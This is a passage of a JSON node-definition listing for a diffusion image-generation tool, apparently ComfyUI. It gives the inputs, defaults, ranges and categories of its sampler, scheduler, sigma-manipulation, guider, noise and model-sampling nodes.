"max": 50.0, "step": 0.01, "round": false}], "beta": ["FLOAT", {"advanced": true, "default": 0.6, "min": 0.0, "max": 50.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["model", "steps", "alpha", "beta"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "BetaSamplingScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SDTurboScheduler": {"input": {"required": {"model": ["MODEL", {}], "steps": ["INT", {"default": 1, "min": 1, "max": 10}], "denoise": ["FLOAT", {"default": 1.0, "min": 0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["model", "steps", "denoise"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "SDTurboScheduler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/schedulers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "KSamplerSelect": {"input": {"required": {"sampler_name": ["COMBO", {"multiselect": false, "options": ["euler", "euler_cfg_pp", "euler_ancestral", "euler_ancestral_cfg_pp", "heun", "heunpp2", "exp_heun_2_x0", "exp_heun_2_x0_sde", "dpm_2", "dpm_2_ancestral", "lms", "dpm_fast", "dpm_adaptive", "dpmpp_2s_ancestral", "dpmpp_2s_ancestral_cfg_pp", "dpmpp_sde", "dpmpp_sde_gpu", "dpmpp_2m", "dpmpp_2m_cfg_pp", "dpmpp_2m_sde", "dpmpp_2m_sde_gpu", "dpmpp_2m_sde_heun", "dpmpp_2m_sde_heun_gpu", "dpmpp_3m_sde", "dpmpp_3m_sde_gpu", "ddpm", "lcm", "ipndm", "ipndm_v", "deis", "res_multistep", "res_multistep_cfg_pp", "res_multistep_ancestral", "res_multistep_ancestral_cfg_pp", "gradient_estimation", "gradient_estimation_cfg_pp", "er_sde", "seeds_2", "seeds_3", "sa_solver", "sa_solver_pece", "ddim", "uni_pc", "uni_pc_bh2"]}]}}, "input_order": {"required": ["sampler_name"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "KSamplerSelect", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerEulerAncestral": {"input": {"required": {"eta": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["eta", "s_noise"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerEulerAncestral", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerEulerAncestralCFGPP": {"input": {"required": {"eta": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["eta", "s_noise"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerEulerAncestralCFGPP", "display_name": "SamplerEulerAncestralCFG++", "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerLMS": {"input": {"required": {"order": ["INT", {"advanced": true, "default": 4, "min": 1, "max": 100}]}}, "input_order": {"required": ["order"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerLMS", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerDPMPP_3M_SDE": {"input": {"required": {"eta": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "noise_device": ["COMBO", {"advanced": true, "multiselect": false, "options": ["gpu", "cpu"]}]}}, "input_order": {"required": ["eta", "s_noise", "noise_device"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerDPMPP_3M_SDE", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerDPMPP_2M_SDE": {"input": {"required": {"solver_type": ["COMBO", {"multiselect": false, "options": ["midpoint", "heun"]}], "eta": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "noise_device": ["COMBO", {"advanced": true, "multiselect": false, "options": ["gpu", "cpu"]}]}}, "input_order": {"required": ["solver_type", "eta", "s_noise", "noise_device"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerDPMPP_2M_SDE", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerDPMPP_SDE": {"input": {"required": {"eta": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "r": ["FLOAT", {"advanced": true, "default": 0.5, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "noise_device": ["COMBO", {"advanced": true, "multiselect": false, "options": ["gpu", "cpu"]}]}}, "input_order": {"required": ["eta", "s_noise", "r", "noise_device"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerDPMPP_SDE", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerDPMPP_2S_Ancestral": {"input": {"required": {"eta": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["eta", "s_noise"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerDPMPP_2S_Ancestral", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerDPMAdaptative": {"input": {"required": {"order": ["INT", {"advanced": true, "default": 3, "min": 2, "max": 3}], "rtol": ["FLOAT", {"advanced": true, "default": 0.05, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "atol": ["FLOAT", {"advanced": true, "default": 0.0078, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "h_init": ["FLOAT", {"advanced": true, "default": 0.05, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "pcoeff": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "icoeff": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "dcoeff": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "accept_safety": ["FLOAT", {"advanced": true, "default": 0.81, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "eta": ["FLOAT", {"advanced": true, "default": 0.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["order", "rtol", "atol", "h_init", "pcoeff", "icoeff", "dcoeff", "accept_safety", "eta", "s_noise"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerDPMAdaptative", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerER_SDE": {"input": {"required": {"solver_type": ["COMBO", {"multiselect": false, "options": ["ER-SDE", "Reverse-time SDE", "ODE"]}], "max_stage": ["INT", {"advanced": true, "default": 3, "min": 1, "max": 3}], "eta": ["FLOAT", {"tooltip": "Stochastic strength of reverse-time SDE.\nWhen eta=0, it reduces to deterministic ODE. This setting doesn't apply to ER-SDE solver type.", "advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["solver_type", "max_stage", "eta", "s_noise"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerER_SDE", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerSASolver": {"input": {"required": {"model": ["MODEL", {}], "eta": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01, "round": false}], "sde_start_percent": ["FLOAT", {"advanced": true, "default": 0.2, "min": 0.0, "max": 1.0, "step": 0.001}], "sde_end_percent": ["FLOAT", {"advanced": true, "default": 0.8, "min": 0.0, "max": 1.0, "step": 0.001}], "s_noise": ["FLOAT", {"advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "predictor_order": ["INT", {"advanced": true, "default": 3, "min": 1, "max": 6}], "corrector_order": ["INT", {"advanced": true, "default": 4, "min": 0, "max": 6}], "use_pece": ["BOOLEAN", {"advanced": true}], "simple_order_2": ["BOOLEAN", {"advanced": true}]}}, "input_order": {"required": ["model", "eta", "sde_start_percent", "sde_end_percent", "s_noise", "predictor_order", "corrector_order", "use_pece", "simple_order_2"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerSASolver", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["sde"], "essentials_category": null, "has_intermediate_output": false}, "SamplerSEEDS2": {"input": {"required": {"solver_type": ["COMBO", {"multiselect": false, "options": ["phi_1", "phi_2"]}], "eta": ["FLOAT", {"tooltip": "Stochastic strength", "advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "s_noise": ["FLOAT", {"tooltip": "SDE noise multiplier", "advanced": true, "default": 1.0, "min": 0.0, "max": 100.0, "step": 0.01, "round": false}], "r": ["FLOAT", {"tooltip": "Relative step size for the intermediate stage (c2 node)", "advanced": true, "default": 0.5, "min": 0.01, "max": 1.0, "step": 0.01, "round": false}]}}, "input_order": {"required": ["solver_type", "eta", "s_noise", "r"]}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplerSEEDS2", "display_name": null, "description": "This sampler node can represent multiple samplers:\n\nseeds_2\n- default setting\n\nexp_heun_2_x0\n- solver_type=phi_2, r=1.0, eta=0.0\n\nexp_heun_2_x0_sde\n- solver_type=phi_2, r=1.0, eta=1.0, s_noise=1.0", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["sde", "exp heun"], "essentials_category": null, "has_intermediate_output": false}, "SplitSigmas": {"input": {"required": {"sigmas": ["SIGMAS", {}], "step": ["INT", {"default": 0, "min": 0, "max": 10000}]}}, "input_order": {"required": ["sigmas", "step"]}, "is_input_list": false, "output": ["SIGMAS", "SIGMAS"], "output_is_list": [false, false], "output_name": ["high_sigmas", "low_sigmas"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "SplitSigmas", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/sigmas", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SplitSigmasDenoise": {"input": {"required": {"sigmas": ["SIGMAS", {}], "denoise": ["FLOAT", {"default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}]}}, "input_order": {"required": ["sigmas", "denoise"]}, "is_input_list": false, "output": ["SIGMAS", "SIGMAS"], "output_is_list": [false, false], "output_name": ["high_sigmas", "low_sigmas"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "SplitSigmasDenoise", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/sigmas", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FlipSigmas": {"input": {"required": {"sigmas": ["SIGMAS", {}]}}, "input_order": {"required": ["sigmas"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "FlipSigmas", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/sigmas", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SetFirstSigma": {"input": {"required": {"sigmas": ["SIGMAS", {}], "sigma": ["FLOAT", {"default": 136.0, "min": 0.0, "max": 20000.0, "step": 0.001, "round": false}]}}, "input_order": {"required": ["sigmas", "sigma"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "SetFirstSigma", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/sigmas", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ExtendIntermediateSigmas": {"input": {"required": {"sigmas": ["SIGMAS", {}], "steps": ["INT", {"default": 2, "min": 1, "max": 100}], "start_at_sigma": ["FLOAT", {"default": -1.0, "min": -1.0, "max": 20000.0, "step": 0.01, "round": false}], "end_at_sigma": ["FLOAT", {"default": 12.0, "min": 0.0, "max": 20000.0, "step": 0.01, "round": false}], "spacing": ["COMBO", {"multiselect": false, "options": ["linear", "cosine", "sine"]}]}}, "input_order": {"required": ["sigmas", "steps", "start_at_sigma", "end_at_sigma", "spacing"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "ExtendIntermediateSigmas", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/sigmas", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["interpolate sigmas"], "essentials_category": null, "has_intermediate_output": false}, "SamplingPercentToSigma": {"input": {"required": {"model": ["MODEL", {}], "sampling_percent": ["FLOAT", {"default": 0.0, "min": 0.0, "max": 1.0, "step": 0.0001}], "return_actual_sigma": ["BOOLEAN", {"tooltip": "Return the actual sigma value instead of the value used for interval checks.\nThis only affects results at 0.0 and 1.0.", "default": false}]}}, "input_order": {"required": ["model", "sampling_percent", "return_actual_sigma"]}, "is_input_list": false, "output": ["FLOAT"], "output_is_list": [false], "output_name": ["sigma_value"], "output_tooltips": [null], "output_matchtypes": null, "name": "SamplingPercentToSigma", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/sigmas", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "CFGGuider": {"input": {"required": {"model": ["MODEL", {}], "positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "cfg": ["FLOAT", {"default": 8.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01}]}}, "input_order": {"required": ["model", "positive", "negative", "cfg"]}, "is_input_list": false, "output": ["GUIDER"], "output_is_list": [false], "output_name": ["GUIDER"], "output_tooltips": [null], "output_matchtypes": null, "name": "CFGGuider", "display_name": "CFG Guider", "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/guiders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "DualCFGGuider": {"input": {"required": {"model": ["MODEL", {}], "cond1": ["CONDITIONING", {}], "cond2": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "cfg_conds": ["FLOAT", {"default": 8.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01}], "cfg_cond2_negative": ["FLOAT", {"default": 8.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01}], "style": ["COMBO", {"multiselect": false, "options": ["regular", "nested"]}]}}, "input_order": {"required": ["model", "cond1", "cond2", "negative", "cfg_conds", "cfg_cond2_negative", "style"]}, "is_input_list": false, "output": ["GUIDER"], "output_is_list": [false], "output_name": ["GUIDER"], "output_tooltips": [null], "output_matchtypes": null, "name": "DualCFGGuider", "display_name": "Dual CFG Guider", "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/guiders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["dual prompt guidance"], "essentials_category": null, "has_intermediate_output": false}, "DualModelGuider": {"input": {"required": {"model": ["MODEL", {"tooltip": "Model used for the positive (conditional) pass."}], "positive": ["CONDITIONING", {}], "cfg": ["FLOAT", {"default": 4.0, "min": 0.0, "max": 100.0, "step": 0.1, "round": 0.01}]}, "optional": {"model_negative": ["MODEL", {"tooltip": "Model used for the negative (unconditional) pass. Use the same model for ordinary CFG."}], "negative": ["CONDITIONING", {"tooltip": "Negative conditioning run on the negative model. Leave unconnected for a text-free (image-only) unconditional pass."}]}}, "input_order": {"required": ["model", "positive", "cfg"], "optional": ["model_negative", "negative"]}, "is_input_list": false, "output": ["GUIDER"], "output_is_list": [false], "output_name": ["GUIDER"], "output_tooltips": [null], "output_matchtypes": null, "name": "DualModelGuider", "display_name": "Dual Model CFG Guider", "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/guiders", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "BasicGuider": {"input": {"required": {"model": ["MODEL", {}], "conditioning": ["CONDITIONING", {}]}}, "input_order": {"required": ["model", "conditioning"]}, "is_input_list": false, "output": ["GUIDER"], "output_is_list": [false], "output_name": ["GUIDER"], "output_tooltips": [null], "output_matchtypes": null, "name": "BasicGuider", "display_name": "Basic Guider", "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/guiders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RandomNoise": {"input": {"required": {"noise_seed": ["INT", {"default": 0, "min": 0, "max": 18446744073709551615, "control_after_generate": true}]}}, "input_order": {"required": ["noise_seed"]}, "is_input_list": false, "output": ["NOISE"], "output_is_list": [false], "output_name": ["NOISE"], "output_tooltips": [null], "output_matchtypes": null, "name": "RandomNoise", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/noise", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "DisableNoise": {"input": {"required": {}}, "input_order": {"required": []}, "is_input_list": false, "output": ["NOISE"], "output_is_list": [false], "output_name": ["NOISE"], "output_tooltips": [null], "output_matchtypes": null, "name": "DisableNoise", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/noise", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["zero noise"], "essentials_category": null, "has_intermediate_output": false}, "AddNoise": {"input": {"required": {"model": ["MODEL", {}], "noise": ["NOISE", {}], "sigmas": ["SIGMAS", {}], "latent_image": ["LATENT", {}]}}, "input_order": {"required": ["model", "noise", "sigmas", "latent_image"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "AddNoise", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "experimental/custom_sampling/noise", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SamplerCustomAdvanced": {"input": {"required": {"noise": ["NOISE", {}], "guider": ["GUIDER", {}], "sampler": ["SAMPLER", {}], "sigmas": ["SIGMAS", {}], "latent_image": ["LATENT", {}]}}, "input_order": {"required": ["noise", "guider", "sampler", "sigmas", "latent_image"]}, "is_input_list": false, "output": ["LATENT", "LATENT"], "output_is_list": [false, false], "output_name": ["output", "denoised_output"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "SamplerCustomAdvanced", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "model/sampling/custom", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ManualSigmas": {"input": {"required": {"sigmas": ["STRING", {"default": "1, 0.5", "multiline": false}]}}, "input_order": {"required": ["sigmas"]}, "is_input_list": false, "output": ["SIGMAS"], "output_is_list": [false], "output_name": ["SIGMAS"], "output_tooltips": [null], "output_matchtypes": null, "name": "ManualSigmas", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_custom_sampler", "category": "experimental/custom_sampling", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["custom noise schedule", "define sigmas"], "essentials_category": null, "has_intermediate_output": false}, "HyperTile": {"input": {"required": {"model": ["MODEL", {}], "tile_size": ["INT", {"advanced": true, "default": 256, "min": 1, "max": 2048}], "swap_size": ["INT", {"advanced": true, "default": 2, "min": 1, "max": 128}], "max_depth": ["INT", {"advanced": true, "default": 0, "min": 0, "max": 10}], "scale_depth": ["BOOLEAN", {"advanced": true, "default": false}]}}, "input_order": {"required": ["model", "tile_size", "swap_size", "max_depth", "scale_depth"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "HyperTile", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_hypertile", "category": "model/patch/unet", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ModelSamplingDiscrete": {"input": {"required": {"model": ["MODEL"], "sampling": [["eps", "v_prediction", "lcm", "x0", "img_to_img", "img_to_img_flow"]], "zsnr": ["BOOLEAN", {"default": false, "advanced": true}]}}, "input_order": {"required": ["model", "sampling", "zsnr"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelSamplingDiscrete", "display_name": "ModelSamplingDiscrete", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelSamplingContinuousEDM": {"input": {"required": {"model": ["MODEL"], "sampling": [["v_prediction", "edm", "edm_playground_v2.5", "eps", "cosmos_rflow"]], "sigma_max": ["FLOAT", {"default": 120.0, "min": 0.0, "max": 1000.0, "step": 0.001, "round": false, "advanced": true}], "sigma_min": ["FLOAT", {"default": 0.002, "min": 0.0, "max": 1000.0, "step": 0.001, "round": false, "advanced": true}]}}, "input_order": {"required": ["model", "sampling", "sigma_max", "sigma_min"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelSamplingContinuousEDM", "display_name": "ModelSamplingContinuousEDM", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelSamplingContinuousV": {"input": {"required": {"model": ["MODEL"], "sampling": [["v_prediction"]], "sigma_max": ["FLOAT", {"default": 500.0, "min": 0.0, "max": 1000.0, "step": 0.001, "round": false, "advanced": true}], "sigma_min": ["FLOAT", {"default": 0.03, "min": 0.0, "max": 1000.0, "step": 0.001, "round": false, "advanced": true}]}}, "input_order": {"required": ["model", "sampling", "sigma_max", "sigma_min"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelSamplingContinuousV", "display_name": "ModelSamplingContinuousV", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelSamplingStableCascade": {"input": {"required": {"model": ["MODEL"], "shift": ["FLOAT", {"default": 2.0, "min": 0.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["model", "shift"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelSamplingStableCascade", "display_name": "ModelSamplingStableCascade", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch/stable cascade", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelSamplingSD3": {"input": {"required": {"model": ["MODEL"], "shift": ["FLOAT", {"default": 3.0, "min": 0.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["model", "shift"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelSamplingSD3", "display_name": "ModelSamplingSD3", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch/stable diffusion", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelSamplingAuraFlow": {"input": {"required": {"model": ["MODEL"], "shift": ["FLOAT", {"default": 1.73, "min": 0.0, "max": 100.0, "step": 0.01}]}}, "input_order": {"required": ["model", "shift"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelSamplingAuraFlow", "display_name": "ModelSamplingAuraFlow", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelSamplingFlux": {"input": {"required": {"model": ["MODEL"], "max_shift": ["FLOAT", {"default": 1.15, "min": 0.0, "max": 100.0, "step": 0.01, "advanced": true}], "base_shift": ["FLOAT", {"default": 0.5, "min": 0.0, "max": 100.0, "step": 0.01, "advanced": true}], "width": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 8}], "height": ["INT", {"default": 1024, "min": 16, "max": 16384, "step": 8}]}}, "input_order": {"required": ["model", "max_shift", "base_shift", "width", "height"]}, "is_input_list": false, "output": ["MODEL"], "output_is_list": [false], "output_name": ["MODEL"], "name": "ModelSamplingFlux", "display_name": "ModelSamplingFlux", "description": "", "python_module": "comfy_extras.nodes_model_advanced", "category": "model/patch/flux", "output_node": false, "has_intermediate_output": false, "search_aliases": []}, "ModelNoiseScale": {"input": {"required": {"model": 